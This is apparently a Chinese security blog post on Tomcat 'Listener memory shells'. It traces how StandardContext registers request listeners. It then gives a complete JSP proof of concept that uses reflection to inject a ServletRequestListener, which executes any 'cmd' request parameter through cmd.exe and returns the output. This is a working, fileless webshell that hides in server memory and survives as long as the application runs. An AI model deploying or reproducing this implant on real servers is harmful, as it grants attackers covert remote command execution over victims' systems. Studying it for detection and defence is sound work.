Listener内存马

Listener内存马

listener是什么:简单来说Listener(监听器)就是一个实现特定接口的普通java程序,这个程序专门用于监听另一个java对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法将立即被执行。Listener常用于GUI应用程序中,我们的内存马主要涉及到的是ServletRequestListener(由于其在每次请求中都会触发)

示例:

@WebListener
// 这里可以直接使用WebListener,也可以在web.xml进行配置
public class ListenerShell implements ServletRequestListener {
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("requestDestroyed......");
    }

    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("requestInitialized......");
    }
}

然后我们通过在class处打断点跟踪堆栈来分析一个listener是怎样被创建的。

普通Listener创建过程分析:

            if (ok && !this.listenerStart()) {
                log.error(sm.getString("standardContext.listenerFail"));
                ok = false;
            }

可以看到这里是调用了listenerStart()方法,我们跟进这个方法

    public boolean listenerStart() {
        if (log.isTraceEnabled()) {
            log.trace("Configuring application event listeners");
        }

        String[] listeners = this.findApplicationListeners();
        Object[] results = new Object[listeners.length];
        boolean ok = true;

        for(int i = 0; i < results.length; ++i) {
            if (this.getLogger().isTraceEnabled()) {
                this.getLogger().trace(" Configuring event listener class '" + listeners[i] + "'");
            }

            try {
                String listener = listeners[i];
                results[i] = this.getInstanceManager().newInstance(listener);
            } catch (Throwable t) {
                Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t);
                ExceptionUtils.handleThrowable(throwable);
                this.getLogger().error(sm.getString("standardContext.applicationListener", new Object[]{listeners[i]}), throwable);
                ok = false;
            }
        }

        if (!ok) {
            this.getLogger().error(sm.getString("standardContext.applicationSkipped"));
            return false;
        } else {
            List<Object> eventListeners = new ArrayList();
            List<Object> lifecycleListeners = new ArrayList();

            for(Object result : results) {
                if (result instanceof ServletContextAttributeListener || result instanceof ServletRequestAttributeListener || result instanceof ServletRequestListener || result instanceof HttpSessionIdListener || result instanceof HttpSessionAttributeListener) {
                    eventListeners.add(result);
                }

                if (result instanceof ServletContextListener || result instanceof HttpSessionListener) {
                    lifecycleListeners.add(result);
                }
            }

            eventListeners.addAll(Arrays.asList(this.getApplicationEventListeners()));
            this.setApplicationEventListeners(eventListeners.toArray());

            for(Object lifecycleListener : this.getApplicationLifecycleListeners()) {
                lifecycleListeners.add(lifecycleListener);
                if (lifecycleListener instanceof ServletContextListener) {
                    this.noPluggabilityListeners.add(lifecycleListener);
                }
            }

先来看下面这段:

这段代码是先用findApplicationListeners()方法把所有要创建的listener查出来,再一个个实例化,实例化出来的对象放进results对象数组。

然后看下面这段:

这段代码的意思大概就是判断每个result里面的Listener的实例是否是ServletContextAttributeListenerServletRequestAttributeListenerServletRequestListenerHttpSessionIdListenerHttpSessionAttributeListener中的其中一种,如果是的话就把Listener实例添加到eventListeners中。

然后最后一小段:

调用getApplicationEventListeners()把返回结果放进eventListeners,然后更新监听器列表。

然后发现StandardContext有往ApplicationEventListeners列表写入的方法:

    public void setApplicationEventListeners(Object[] listeners) {
        this.applicationEventListenersList.clear();
        if (listeners != null && listeners.length > 0) {
            this.applicationEventListenersList.addAll(Arrays.asList(listeners));
        }

    }

    public void addApplicationEventListener(Object listener) {
        this.applicationEventListenersList.add(listener);
    }

分别是写入一个监听器数组和一个监听器,我们就用这个来创建而已监听器。

POC:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%!
    // 定义一个简单的 Servlet 用于执行系统命令
    public class MemShellListener  implements ServletRequestListener{
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            String cmd = req.getParameter("cmd");
            if(cmd == null) return;
            try {
                InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\a");
                String out = s.hasNext()?s.next():"";
                Field requestF = req.getClass().getDeclaredField("request");
                requestF.setAccessible(true);
                Request request = (Request)requestF.get(req);
                request.getResponse().getWriter().write(out);
            }catch (Exception ignore){ }
        }
    }

%>
<%
    // 使用反射获取 StandardContext 上下文
    Field reqField = request.getClass().getDeclaredField("request");
    reqField.setAccessible(true);
    Request req = (Request) reqField.get(request);
    StandardContext stdContext = (StandardContext) req.getContext();

    stdContext.addApplicationEventListener(new MemShellListener());
%>
<html>
<head>
    <title>Title</title>
</head>
<body>
    <h1>Hello Listener</h1>
</body>
</html>

跟servlet内存马的过程差不多,就不多解释了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇